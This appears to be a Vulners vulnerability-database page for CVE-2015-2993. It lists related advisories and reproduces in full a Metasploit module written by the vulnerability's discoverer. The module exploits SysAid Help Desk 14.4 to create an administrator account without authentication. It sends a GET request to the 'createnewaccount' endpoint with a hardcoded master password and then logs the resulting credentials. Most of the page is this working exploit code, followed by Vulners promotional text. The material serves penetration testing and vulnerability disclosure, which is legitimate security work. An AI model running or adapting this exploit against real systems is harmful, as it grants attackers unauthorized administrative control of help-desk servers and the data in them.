| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| SysAid Help Desk 14.4 Multiple Vulnerabilities | 4 Jun 201500:00 | – | zdt | |
| CVE-2015-2993 | 29 May 201815:50 | – | circl | |
| SysAid Help Desk Restriction Bypass Vulnerability | 9 Jun 201500:00 | – | cnvd | |
| CVE-2015-2993 | 8 Jun 201514:00 | – | cve | |
| CVE-2015-2993 | 8 Jun 201514:00 | – | cvelist | |
| SysAid Help Desk 14.4 - Multiple Vulnerabilities | 10 Jun 201500:00 | – | exploitdb | |
| SysAid Help Desk 14.4 - Multiple Vulnerabilities | 10 Jun 201500:00 | – | exploitpack | |
| SysAid Help Desk Administrator Account Creation | 3 Jun 201520:38 | – | metasploit | |
| CVE-2015-2993 | 8 Jun 201514:59 | – | nvd | |
| SysAid < 15.2 Multiple Vulnerabilities | 11 Jun 201500:00 | – | openvas |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SysAid Help Desk Administrator Account Creation',
'Description' => %q{
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
user to create an administrator account. Note that this exploit will only work once. Any
subsequent attempts will fail. On the other hand, the credentials must be verified
manually. This module has been tested on SysAid 14.4 in Windows and Linux.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2015-2993' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jun/8' ],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt' ],
],
'DisclosureDate' => '2015-06-03'
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8080]),
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password'])
]
)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'),
'method' => 'GET',
'vars_get' => {
'accountID' => Rex::Text.rand_text_numeric(4),
'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)),
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'masterPassword' => 'master123'
}
})
if res && res.code == 200 && res.body.to_s =~ /Error while creating account/
# No way to know whether this worked or not, it always says error
print_status("The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually")
connection_details = {
module_fullname: fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
else
print_error('Administrator account creation failed')
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation